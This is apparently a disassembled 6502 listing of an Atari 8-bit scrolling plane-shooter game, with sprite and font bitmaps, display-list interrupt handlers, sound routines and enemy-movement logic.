.byte $00, $44, $44, $28, $10, $28, $44, $44
L_3E7A .byte $00, $00, $00, $00, $38, $6C, $CE, $EE
.byte $47, $FF, $AA, $AB, $FF, $7E, $3C, $00
L_3E8A .byte $00, $00, $10, $30, $10, $38, $00, $54
L_3E92 .byte $54, $00, $00, $00, $00, $00, $00, $78
.byte $24, $24, $24, $24, $24, $24, $24, $78
L_3EA2 .byte $00, $00, $00, $F8, $84, $5A, $5A, $5A
L_3EAA .byte $5A, $5A, $5A, $5A, $84, $F8, $00, $00
.byte $20, $00, $10, $18, $08, $02, $02, $00
.byte $00, $00, $00, $00, $00, $3B, $00, $C7
.byte $3E, $D0, $3E, $3B, $00, $CF, $3E, $DA
.byte $3E, $52, $54, $53, $00, $D5, $3E, $E4
.byte $3E, $3B, $00, $DB, $3E, $EE, $3E, $3B
.byte $00, $E1, $3E, $F8, $3E, $3B, $00, $EA
.byte $3E, $02, $3F, $47, $4F, $48, $31, $00
.byte $F7, $3E, $0C, $3F, $43, $4D, $50, $20
.byte $23, $24, $33, $30, $00, $04, $3F, $16
L_3EFA .byte $3F, $42, $50, $4C, $20, $47, $00, $10
.byte $1C, $62, $42, $A3, $95, $92, $4A, $56
L_3F0A .byte $64, $3C, $88, $08, $05, $5C, $7E, $7E
.byte $FF, $FF, $FE, $7E, $7E, $7C, $BC, $10
L_3F1A .byte $00, $00, $00, $00, $1E, $33, $21, $41
L_3F22 .byte $63, $22, $1C, $00, $00, $00, $00, $12
.byte $40, $1E, $3F, $7F, $7F, $7F, $3E, $9C
L_3F32 .byte $01, $24, $00, $00, $00, $04, $20, $0C
L_3F3A .byte $12, $54, $09, $28, $00, $00, $00, $00
.byte $00, $00, $08, $01, $0C, $5E, $1C, $2A
L_3F4A .byte $14, $00, $00, $00, $00, $00, $00, $1E
.byte $33, $21, $41, $22, $1C, $00, $00, $00
L_3F5A .byte $00, $00, $00, $09, $5E, $3F, $7F, $7F
.byte $3E, $8C, $01, $08, $00, $00, $49, $00
L_3F6A .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $08, $08, $08, $3E, $77, $55, $7F
.byte $3E, $08, $08, $08, $14, $14, $1C, $00
L_3F82 .byte $00, $00, $0C, $00, $00, $63, $00, $00
.byte $7F, $7F, $7F, $36, $00, $00, $00, $08
L_3F92 .byte $08, $00, $00, $00, $00, $18, $00, $00
.byte $14, $00, $00, $7F, $7F, $7F, $36, $00
.byte $00, $00, $08, $08, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $01, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $14
.byte $00, $00, $40, $4C, $4C, $80, $00, $00
.byte $00, $00, $00, $00, $00, $80, $00, $00
.byte $00, $00, $00, $00, $00, $00
L_4000 lda VCOUNT
cmp #$7A
bcc L_4000
lda #$40
sta NMIEN
lda #$20
sta VDSLST
lda #$40
sta VDSLST+1
lda #$C0
sta NMIEN
rts
.byte $3F, $9D, $F4, $1D
DLI_1 pha ; set playfield color at the top of the screen
txa
pha
tya
pha
lda #$FC
ldx #$96
L_4029 ldy #$05
pha
lda #$08
sta WSYNC
stx COLBK
sty COLPF2
sta COLPF1
pla
sta COLPF0
lda #$75
sta VDSLST
pla
tay
pla
tax
pla
rti
.byte $23, $4C, $8A, $22, $20, $3B, $23, $4C
.byte $0F, $21, $A2, $10, $A9, $0C, $9D, $42
.byte $03, $4C, $E9, $31, $54, $59, $50, $45
.byte $20, $22, $59, $22, $20, $54, $4F, $20
.byte $44, $45, $4C, $45, $54, $45, $2E, $2E
.byte $2E, $9B, $44, $45
DLI_2 pha ; set plane position and size
txa
pha
tya
pha
lda PLANE_X
L_407D ldx #$75
ldy #$0E
sta WSYNC
sta HPOSP0
sta HPOSP1
stx COLPM0
sty COLPM1
lda #$00
sta SIZEP0
sta SIZEP1
lda #$B5
sta VDSLST
pla
tay
pla
tax
pla
rti
.byte $57, $45, $44, $9B, $00, $04, $04, $36
.byte $39, $37, $20, $46, $52, $45, $45, $20
.byte $53, $45
DLI_3 pha ; reset charbase and color for score panel
txa
pha
lda #$02
ldx #$46
sta WSYNC
stx CHBASE
sta COLBK
lda #$E0
sta VDSLST
pla
tax
pla
rti
.byte $4F, $50, $59, $33, $32, $2E, $43, $4F
.byte $4D, $9B, $9B, $00, $00, $00, $00, $00
.byte $6C, $23
DLI_4 pha ; set color for score line
lda #$2F
sta WSYNC
sta COLPF0
lda #$F2
sta VDSLST
pla
rti
ldx #$00
DLI_5 pha ; reset everything at the end of the screen
txa
pha
tya
pha
lda #$20
ldx #$00
ldy BIGPLANE_FIRE_TYPE+1
sta WSYNC
stx COLPF2
stx COLBK
stx COLPF1
sty HPOSP0
sty HPOSP1
sta VDSLST
lda $0657
sta SIZEP0
sta SIZEP1
pla
tay
pla
tax
pla
rti
lda #$AD
and MVTA+1
cmp #$90
bne L_4137
lda #$81
sta L_9C1D+7
lda #$8C
sta L_9C25
jmp L_4169+1
L_4137 lda L_9C1D+7
cmp #$01
bne L_4152
L_413E lda L_AD20+5
.byte $52, $06
cmp #$01
bne L_4153
lda #$00
sta $065B
sta $065A
inc $0652
L_4152 rts
L_4153 cmp #$02
bne L_4181
lda #$AC
sta AUDC3
lda $065A
clc
adc #$1E
cmp #$DA
bcs L_416D
sta $065A
L_4169 sta AUDF3
rts
L_416D inc $065B
lda $065B
cmp #$03
bcs L_417D
lda #$00
sta $065A
rts
L_417D inc $0652
rts
L_4181 lda $065A
sec
sbc #$0A
cmp #$0A
bcc L_4192
sta $065A
sta AUDF3
rts
L_4192 lda #$00
sta $0652
sta AUDC3
rts
L_419B .byte $E0, $00, $85, $CF, $BD, $00, $00, $00
.byte $10, $3C, $56, $7A, $3E, $1C, $10, $08
L_41AB .byte $34, $18, $00, $00, $1C, $00, $00, $00
.byte $28, $04, $00, $00, $00, $10, $08, $00
L_41BB .byte $00, $3A, $00, $08, $00, $00, $00, $28
.byte $04, $00, $00, $00, $10, $08, $00, $00
L_41CB .byte $00, $00, $00, $00, $10, $78, $D4, $BC
.byte $F8, $70, $10, $20, $58, $30, $00, $04
L_41DB .byte $00, $70, $00, $00, $00, $28, $40, $00
L_41E3 .byte $00, $00, $10, $20, $00, $00, $08, $00
.byte $20, $00, $00, $00, $28, $40, $00, $00
.byte $00, $10, $20, $00, $00, $3A, $29, $01
.byte $F0, $08, $BD, $D8, $3A
lda $06AD
beq L_4208
jmp L_42DC
L_4208 inc ENEMY_MOV_TYPE+2
lda ENEMY_MOV_TYPE+2
cmp #$02
bcs L_4215
jmp L_42DC
L_4215 lda #$00
sta ENEMY_MOV_TYPE+2
lda $0680
cmp #$01
bmi L_4224
jmp L_42D9
L_4224 lda #$07
sta $0680
lda L_9C1D+7
cmp #$35
bne L_424C
lda L_9C25
cmp #$92
bne L_424C
inc $0681
lda $0681
cmp #$20
beq L_4244
jmp L_42DC
L_4244 lda #$D4
sta L_4029+1
jmp L_426F
L_424C lda L_9C1D+7
cmp #$B7
bne L_426F
lda L_9C25
cmp #$7C
bne L_426F
inc $0681
lda $0681
cmp #$22
beq L_4267
jmp L_42DC
L_4267 lda #$05
sta L_4029+1
jmp L_426F
L_426F lda #$00
sta $0681
lda L_9C1D+7
cmp #$05
bne L_428F
lda L_9C25
cmp #$90
bne L_428F
lda #$81
sta L_9C1D+7
lda #$8C
sta L_9C25
jmp L_42C5
L_428F lda L_9C1D+7
cmp #$01
bne L_42AA
lda L_9C25
cmp #$80
bne L_42AA
lda #$DF
sta L_9C1D+7
lda #$7C
sta L_9C25
jmp L_42C5
L_42AA lda L_9C1D+7
cmp #$BF
bne L_42C5
lda L_9C25
cmp #$79
bne L_42C5
inc $06AB
lda #$75
sta L_9C1D+7
lda #$98
sta L_9C25
L_42C5 lda L_9C1D+7
sec
sbc #$28
sta L_9C1D+7
bcc L_42D3
jmp L_42DC
L_42D3 dec L_9C25
jmp L_42DC
L_42D9 dec $0680
L_42DC lda $0680
sta VSCROL
jsr L_1920
lda #$20
sta VDSLST
L_42EA lda $063A
sta VNTP
lda $063B
sta VNTP+1
ldy #$00
jmp (VNTP)
.byte $20, $00, $00, $00, $00, $00, $00
L_4300 txa
pha
lda $0631
bne L_4317
lda #$2A
sta AUDC1
sta $0631
lda #$10
sta AUDF1
jmp L_431F
L_4317 lda #$00
sta AUDC1
sta $0631
L_431F lda COLOR0
cmp #$7A
beq L_432E
lda #$7A
sta COLOR0
jmp L_4333
L_432E lda #$3A
sta COLOR0
L_4333 ldx #$00
ldy #$00
L_4337 inx
bne L_4337
iny
cpy #$40
bne L_4337
pla
tax
rts
.byte $AE, $FF, $00, $00, $00, $00, $00, $00
pha
lda #$E0
sta WSYNC
sta CHBASE
lda #$FF
sta COLPF1
pla
rti
L_435A bvs L_43CC
bvs L_43A0
rti
.byte $9C, $02, $02, $02, $02, $02, $02, $02
.byte $02, $02, $02, $02, $02, $02, $02, $02
.byte $02, $02, $02, $02, $02, $02, $02, $02
.byte $41, $20, $9C, $A9, $0C, $9D, $42, $03
.byte $20
lda #$00
sta AUDCTL
lda #$03
sta SKCTL
sta $0658
lda #$FF
sta PORTB
sta CH
lda $06CF
cmp #$99
beq L_43E7
lda #$83
sta VNTD+1
L_43A0 lda #$21
sta VNTD
lda #$A0
sta TOPSTK+1
lda #$61
sta TOPSTK
ldy #$00
L_43AE lda (VNTD),y
sta (TOPSTK),y
cpy #$A0
bne L_43BC
lda VNTD+1
cmp #$8F
beq L_43C6
L_43BC iny
bne L_43AE
inc VNTD+1
inc TOPSTK+1
jmp L_43AE
L_43C6 lda #$33
sta VNTD+1
lda #$00
L_43CC sta VNTD
sta TOPSTK
lda #$B2
sta TOPSTK+1
L_43D4 ldy #$00
L_43D6 lda (VNTD),y
sta (TOPSTK),y
iny
bne L_43D6
inc TOPSTK+1
inc VNTD+1
lda VNTD+1
cmp #$38
bne L_43D4
L_43E7 lda VVBLKI
sta $063A
lda VVBLKI+1
sta $063B
tax
lda #$10
L_43F6 sta $0606,x
inx
cpx #$06
bne L_43F6
lda #$0E
ldx #$00
L_4402 sta $065E,x
inx
cpx #$05
bne L_4402
L_440A lda #$99
sta $06CF
jsr L_1900
sei
lda #$F2
sta VVBLKI
lda #$47
sta VVBLKI+1
cli
lda #$01
sta CRSINH
jsr L_5380
lda #$70
sta CHBAS
lda #$42
sta COLOR0
sta COLOR3
lda #$00
sta COLOR2
sta COLOR4
ldx #$00
L_443D lda $065E,x
sta L_7659+2,x
inx
cpx #$05
bne L_443D
ldx #$05
L_444A lda $0606,x
sta L_7671+5,x
dex
cpx #$FF
bne L_444A
lda #$08
sta COLOR1
ldx #$00
L_445C lda L_73F9+7,x
sta L_9C3D+3,x
lda L_74F9+7,x
sta L_9D3D+3,x
lda L_75F9+7,x
sta L_9E3D+3,x
lda L_76F9+7,x
sta L_9F3D+3,x
inx
bne L_445C
lda #$40
sta NMIEN
lda #$4A
sta VDSLST
lda #$43
sta VDSLST+1
lda #$06
sta L_9C25+2
sta L_9C25+3
sta L_9C35
sta L_9C35+1
lda #$82
sta L_9C25+6
lda #$07
sta L_9C2D+3
sta L_9C2D+4
lda #$C0
sta NMIEN
lda #$00
sta $064C
sta $064D
sta $064E
jsr L_2063
L_44B4 lda STRIG0
beq L_452C
lda CH
cmp #$3E
bne L_450A
inc $0659
lda $0659
cmp #$0A
bcs L_4505
lda #$00
sta $0659
lda $0658
bne L_44EC
sta L_7641+1
sta L_9E7D+5
lda #$01
sta $0658
lda #$2E
sta L_7641
sta L_9E7D+4
jsr L_1900
bne L_4505
L_44EC lda #$00
sta $0658
sta AUDC1
sta AUDF2
lda #$26
sta L_7641
sta L_9E7D+4
sta L_7641+1
sta L_9E7D+5
L_4505 lda #$FF
sta CH
L_450A inc $064C
lda $064C
bne L_44B4
inc $064D
lda $064D
bne L_44B4
inc $064E
lda $064E
cmp #$18
bne L_44B4
lda #$01
sta $066E
jmp L_4531
L_452C lda #$00
sta $066E
L_4531 ldx #$00
stx $064A
stx $0627
stx $0632
stx $0636
stx $064F
stx $0637
stx $0698
stx $0635
stx $0653
stx STAGE_NO+3
stx STAGE_NO
stx STAGE_NO+4
txa
L_4558 sta L_9B9D+3,x
sta L_9C9D+3,x
sta L_9D9D+3,x
inx
bne L_4558
ldx #$00
txa
L_4567 sta L_9F5D+3,x
inx
cpx #$50
bne L_4567
ldx #$00
L_4571 lda #$10
sta L_9F95+7,x
sta $0600,x
sta $069C,x
lda $0606,x
sta L_9FA5+3,x
inx
cpx #$06
bne L_4571
lda #$10
sta L_9F9D+5
sta L_9FAD+1
sta $069A
lda #$11
sta $069B
lda #$13
sta L_9FA5
sta $062E
ldx #$00
L_45A1 lda L_45ED,x
sta L_9F75+1,x
inx
cpx #$0F
bne L_45A1
lda #$30
sta PMBASE
lda #$3E
sta SDMCTL
lda #$03
sta GRACTL
sta $0656
jsr L_6CFF+1
lda #$38
sta CHBAS
jsr L_5000
jsr L_5C00
lda $065D
beq L_45D4
jsr L_7800
L_45D4 jsr L_5380
ldx #$00
txa
L_45DA sta HPOSP0,x
inx
cpx #$08
bne L_45DA
lda $066E
beq L_45EA
jmp L_452C
L_45EA jmp L_440A
L_45ED .byte $02, $11, $02, $00, $00, $00, $01, $01
.byte $01, $00, $00, $28, $29, $27, $28, $28
.byte $29, $27, $28, $00, $00, $00, $00, $00
.byte $00, $00, $00, $80, $80, $80, $80, $80
.byte $80, $88, $D8, $28, $28, $28, $28, $28
.byte $EE, $6C, $28, $42, $40, $9C, $02, $02
.byte $02, $02, $02, $02, $02, $02, $02, $02
.byte $02, $02, $02, $63, $63, $06, $0C, $18
.byte $30, $63, $63, $02, $02, $41, $20, $9C
.byte $20, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $38, $38, $38, $00, $00, $00, $00, $00
.byte $00, $00, $00, $36, $63, $63, $63, $63
.byte $63, $63, $36, $0C, $3C, $0C, $0C, $0C
.byte $0C, $0C, $0C, $36, $63, $03, $37, $76
.byte $60, $63, $77, $36, $63, $03, $17, $16
.byte $03, $63, $36, $18, $30, $60, $6C, $7F
.byte $7F, $0C, $0C, $77, $63, $60, $76, $37
.byte $03, $63, $36, $0C, $18, $30, $36, $77
.byte $63, $63, $36, $77, $63, $03, $03, $06
.byte $06, $0C, $0C, $36, $63, $63, $77, $36
.byte $63, $63, $36, $36, $63, $63, $77, $36
.byte $06, $0C, $18, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $14, $36, $63, $77, $77
.byte $63, $63, $63, $76, $63, $63, $77, $76
.byte $63, $63, $76, $36, $77, $63, $60, $60
.byte $63, $77, $36, $76, $77, $63, $63, $63
.byte $63, $77, $76, $37, $77, $60, $74, $74
.byte $60, $77, $37, $37, $77, $60, $74, $74
.byte $60, $60, $60, $28, $44, $44, $40, $4C
.byte $44, $44, $28, $44, $44, $44, $6C, $6C
.byte $44, $44, $44, $7C, $54, $10, $10, $10
.byte $10, $54, $7C, $63, $63, $36, $14, $14
.byte $36, $63, $63, $63, $63, $76, $70, $76
.byte $63, $63, $63, $60, $60, $60, $60, $60
.byte $63, $77, $77, $77, $6B, $6B, $6B, $6B
.byte $63, $63, $63, $36, $77, $63, $63, $63
.byte $63, $63, $63, $36, $77, $63, $63, $63
.byte $63, $77, $36, $68, $44, $44, $44, $68
.byte $40, $40, $40, $36, $77, $63, $63, $63
.byte $67, $77, $37, $68, $44, $44, $44, $68
.byte $68, $48, $44, $37, $77, $60, $76, $37
.byte $03, $77, $76, $77, $77, $55, $14, $14
.byte $14, $14, $14, $44, $44, $44, $44, $44
.byte $44, $44, $28, $63, $63, $63, $63, $63
.byte $36, $36, $1C, $63, $63, $63, $6B, $6B
.byte $6B, $6B, $77, $00, $00, $00, $00, $00
.byte $00, $00, $00, $63, $63, $63, $36, $36
.byte $1C, $1C, $1C
lda ENEMY_TYPE
bne L_47D6
rts
L_47D6 jsr L_4950
jsr L_4902+1
lda ENEMY_MOV_TYPE
bne L_47EA
jsr L_55CC+2
jsr L_55B7
jsr L_55B7
L_47EA jsr L_5760
lda VCOUNT
cmp #$58
jsr L_1920
jmp L_42EA
sta $099D,x
sta L_30BC+1,x
L_47FE sta L_AD98+5,x
asl TRAMSZ,x
bne L_4847
lda #$20
sta ENEMY_MOV_TYPE+7
lda $0683
bpl L_4812
lda PLANE_X
L_4812 sta HPOSP2
sta HPOSP3
sta BIGPLANE_FIRE_TYPE+1
sta BIGPLANE_FIRE_TYPE+2
sta ENEMY_X
lda #$34
sta PCOLR0
lda #$0E
sta PCOLR1
sta PCOLR3
sta $0624
lda #$82
sta PCOLR2
lda #$00
sta BIGPLANE_FIRE_TYPE
sta BIGPLANE_FIRE_TYPE+3
lda #$0E
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_4847 inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$03
bcc L_4864
ldx #$00
stx ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
bne L_4861
inc BIGPLANE_FIRE_TYPE
jmp L_4864
L_4861 stx BIGPLANE_FIRE_TYPE
L_4864 lda ENEMY_MOV_TYPE
cmp #$06
bcc L_486E
jmp L_4945
L_486E cmp #$03
bpl L_48C8
inc ENEMY_MOV_TYPE+7
lda ENEMY_MOV_TYPE+7
cmp #$30
bne L_487F
inc ENEMY_MOV_TYPE
L_487F cmp #$6A
bcc L_488C
jsr L_4950
inc ENEMY_MOV_TYPE
jmp L_4945
L_488C lda $0624
bne L_4894
jmp L_4945
L_4894 ldx ENEMY_MOV_TYPE+7
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_48B3
L_489E lda L_3CF2+5,y
sta PMGFX0+3,x
lda L_3D0A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_489E
jmp L_4945
L_48B3 lda L_3D02+2,y
sta PMGFX0+3,x
lda L_3D1A+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_48B3
jmp L_4945
L_48C8 cmp #$05
bpl L_48E8
lda $0624
beq L_48E2
ldx ENEMY_MOV_TYPE+7
ldy #$00
L_48D6 lda L_3D2A+1,y
sta L_3406+1,x
inx
iny
cpy #$04
bne L_48D6
L_48E2 inc ENEMY_MOV_TYPE
jmp L_4945
L_48E8 dec ENEMY_MOV_TYPE+7
lda ENEMY_MOV_TYPE+7
cmp #$25
bcs L_490D
ldx ENEMY_MOV_TYPE+7
ldy #$00
tya
L_48F8 sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
L_4902 bne L_48F8
inc ENEMY_MOV_TYPE
sta $0624
jmp L_4945
L_490D lda $0624
bne L_4914
beq L_4945
L_4914 ldx ENEMY_MOV_TYPE+7
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_4933
L_491E lda L_3D2A+6,y
sta L_33FE+2,x
lda L_3D4A,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_491E
jmp L_4945
L_4933 lda L_3D3A+3,y
sta L_33FE+2,x
lda L_3D52+5,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_4933
L_4945 lda ENEMY_MOV_TYPE
cmp #$02
bpl L_494D
rts
L_494D jmp L_4C80
L_4950 ldx ENEMY_MOV_TYPE+7
ldy #$00
tya
L_4956 sta PMGFX0+3,x
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4956
rts
.byte $1F, $60, $4C, $80, $4C, $54
jsr L_4000
sei
lda #$00
sta VVBLKI
lda #$42
sta VVBLKI+1
cli
rts
.byte $45, $00, $00, $00, $00, $00, $00
L_4980 ldx #$00
L_4982 lda L_49BC,x
sta L_9C1D+3,x
inx
cpx #$22
bne L_4982
lda #$00
sta DINDEX
lda #$40
sta SAVMSC
lda #$9C
sta SAVMSC+1
lda #$20
sta SDLSTL
lda #$9C
sta SDLSTH
lda #$38
sta CHBAS
lda #$00
sta COLOR0
sta COLOR1
sta COLOR2
sta COLOR4
lda #$FF
sta COLOR3
rts
L_49BC .byte $70 ; DL 8 scanlines
.byte $70 ; DL 8 scanlines
.byte $70 ; DL 8 scanlines
.byte $C2 ; DL LMS DLI Antic Mode 2
.word L_9875
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $A4 ; DL DLI Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $24 ; DL Horizontal Scroll Antic Mode 4
.byte $84 ; DL DLI Antic Mode 4
.byte $46 ; DL LMS Antic Mode 6
.word L_9F5D+3
.byte $06 ; DL Antic Mode 6
.byte $86 ; DL DLI Antic Mode 6
.byte $06 ; DL Antic Mode 6
.byte $86 ; DL DLI Antic Mode 6
.byte $41 ; DL JMP
.word L_9C1D+3
.byte $AD, $9C, $1E, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00
lda ENEMY_MOV_TYPE+1
bne L_4A23
lda #$2A
sta HPOSP1
sta $061F
ldx #$00
L_4A0F lda L_4A6D,x
sta L_954D+6,x
inx
cpx #$0B
bne L_4A0F
lda #$0E
sta PCOLR1
inc ENEMY_MOV_TYPE+1
rts
L_4A23 inc $061F
lda $061F
sta HPOSP1
cmp #$D8
bcc L_4A36
lda #$00
sta ENEMY_MOV_TYPE+1
rts
L_4A36 cmp #$50
bne L_4A48
ldx #$00
L_4A3C lda L_4A75+3,x
sta L_954D+6,x
inx
cpx #$0B
bne L_4A3C
rts
L_4A48 cmp #$78
bne L_4A5A
ldx #$00
L_4A4E lda L_4A7D+6,x
sta L_954D+6,x
inx
cpx #$0B
bne L_4A4E
rts
L_4A5A cmp #$A0
beq L_4A5F
rts
L_4A5F ldx #$00
L_4A61 lda L_4A8D+1,x
sta L_954D+6,x
inx
cpx #$0B
bne L_4A61
rts
L_4A6D .byte $14, $3E, $77, $BE, $6A, $47, $BB, $66
L_4A75 .byte $D3, $6E, $34, $00, $00, $2C, $BE, $6A
L_4A7D .byte $44, $BA, $66, $D4, $6E, $04, $00, $00
.byte $0C, $36, $2A, $44, $3A, $66, $50, $00
L_4A8D .byte $00, $00, $00, $00, $14, $2A, $14, $1A
.byte $04, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00
L_4AC0 jsr L_4980
jsr L_4000
jsr L_1900
lda #$00
sta NMIEN
sei
lda #$00
sta VVBLKI
lda #$42
sta VVBLKI+1
cli
lda #$C0
sta NMIEN
lda #$A2
sta L_407D+1
lda #$01
sta GPRIOR
sta $060E
sta ENEMY_TYPE
ldx #$00
txa
L_4AF2 sta MISSILE_GFX,x
sta L_33FE+2,x
sta L_3500,x
sta PMGFX0+3,x
sta PMGFX1,x
inx
bne L_4AF2
tax
L_4B05 sta HPOSP0,x
sta SIZEP0,x
sta ENEMY_X+6,x
inx
cpx #$04
bne L_4B05
sta $060C
sta $060D
sta ENEMY_MOV_TYPE+5
sta ENEMY_MOV_TYPE+6
sta ENEMY_MOV_TYPE
sta ENEMY_Y+5
sta $0698
sta $0620
sta $0621
sta $0624
sta $0625
sta $06AA
lda #$74
sta HPOSP0
sta HPOSP1
sta PLANE_X
sta PLANE_X+1
lda #$20
sta PLANE_X+2
lda GPRIOR
ora #$10
sta GPRIOR
lda #$05
sta L_4029+1
lda #$30
sta $0683
jsr L_4B80
lda #$0F
sta COLOR3
jmp L_6CA0
.byte $50, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00
L_4B80 inc $060C
lda $060C
cmp #$02
bcc L_4B9F
lda #$00
sta $060C
lda $060D
bne L_4B9A
inc $060D
jmp L_4B9F
L_4B9A lda #$00
sta $060D
L_4B9F ldx #$00
ldy PLANE_X+2
lda $060E
bne L_4BD4
lda $060D
bne L_4BC1
L_4BAE lda L_3C1A,x
sta L_3470,y
lda L_3CC2+1,x
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_4BAE
rts
L_4BC1 lda L_3C22+5,x
sta L_3470,y
lda L_3CCA+6,x
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_4BC1
rts
L_4BD4 cmp #$01
bne L_4C03
lda $060D
bne L_4BF0
L_4BDD lda L_3BFA+6,x
sta L_3470,y
lda L_3CA2+7,x
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_4BDD
rts
L_4BF0 lda L_3C0A+3,x
sta L_3470,y
lda L_3CB2+4,x
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_4BF0
rts
L_4C03 lda $060D
bne L_4C1B
L_4C08 lda L_3C32+2,x
sta L_3470,y
lda L_3CDA+3,x
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_4C08
rts
L_4C1B lda L_3C3A+7,x
sta L_3470,y
lda L_3CEA,x
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_4C1B
rts
.byte $4F, $00
L_4C30 lda #$28
sta AUDC1
sta AUDC2
ldx #$01
L_4C3A stx AUDF1
inx
stx AUDF2
jsr L_561C
cpx #$09
bmi L_4C3A
lda #$00
sta AUDC1
sta AUDC2
rts
.byte $48, $00, $00, $00, $00, $00, $00, $00
.byte $00
L_4C5A lda #$28
sta AUDC1
sta AUDC2
ldx #$0D
L_4C64 stx AUDF1
dex
stx AUDF2
jsr L_561C
cpx #$03
bpl L_4C64
lda #$00
sta AUDC1
sta AUDC2
rts
.byte $ED, $00, $00, $00, $00
L_4C80 lda BIGPLANE_FIRE_TYPE+3
bne L_4C99
lda #$20
sta ENEMY_Y
sta $0625
lda #$00
sta BIGPLANE_FIRE_TYPE+4
jsr L_4CCD
inc BIGPLANE_FIRE_TYPE+3
rts
L_4C99 cmp #$06
bcc L_4CA0
jmp L_4D74
L_4CA0 cmp #$03
bpl L_4D09
inc ENEMY_Y
lda ENEMY_Y
cmp #$30
bne L_4CB1
inc BIGPLANE_FIRE_TYPE+3
L_4CB1 cmp #$6A
bcc L_4CCD
L_4CB5 ldx ENEMY_Y
ldy #$00
tya
L_4CBB sta PMGFX0+3,x
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4CBB
inc BIGPLANE_FIRE_TYPE+3
jmp L_4D74
L_4CCD lda $0625
bne L_4CD5
jmp L_4D74
L_4CD5 ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_4CF4
L_4CDF lda L_3CF2+5,y
sta PMGFX0+3,x
lda L_3D0A+7,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4CDF
jmp L_4D74
L_4CF4 lda L_3D02+2,y
sta PMGFX0+3,x
lda L_3D1A+4,y
sta PMGFX1,x
inx
iny
cpy #$0D
bne L_4CF4
jmp L_4D74
L_4D09 cmp #$05
bpl L_4D29
lda $0625
beq L_4D23
ldx ENEMY_Y
ldy #$00
L_4D17 lda L_3D2A+1,y
sta L_3406+1,x
inx
iny
cpy #$04
bne L_4D17
L_4D23 inc BIGPLANE_FIRE_TYPE+3
jmp L_4D74
L_4D29 dec ENEMY_Y
lda ENEMY_Y
cmp #$25
bcs L_4D3B
lda #$00
sta $0625
jmp L_4CB5
L_4D3B lda $0625
bne L_4D43
jmp L_4D74
L_4D43 ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_4D62
L_4D4D lda L_3D2A+6,y
sta L_33FE+2,x
lda L_3D4A,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_4D4D
jmp L_4D74
L_4D62 lda L_3D3A+3,y
sta L_33FE+2,x
lda L_3D52+5,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_4D62
L_4D74 lda BIGPLANE_FIRE_TYPE+3
cmp #$02
bpl L_4D7C
rts
L_4D7C jmp L_4DA0
.byte $00, $00, $00, $00, $00, $00, $00, $00
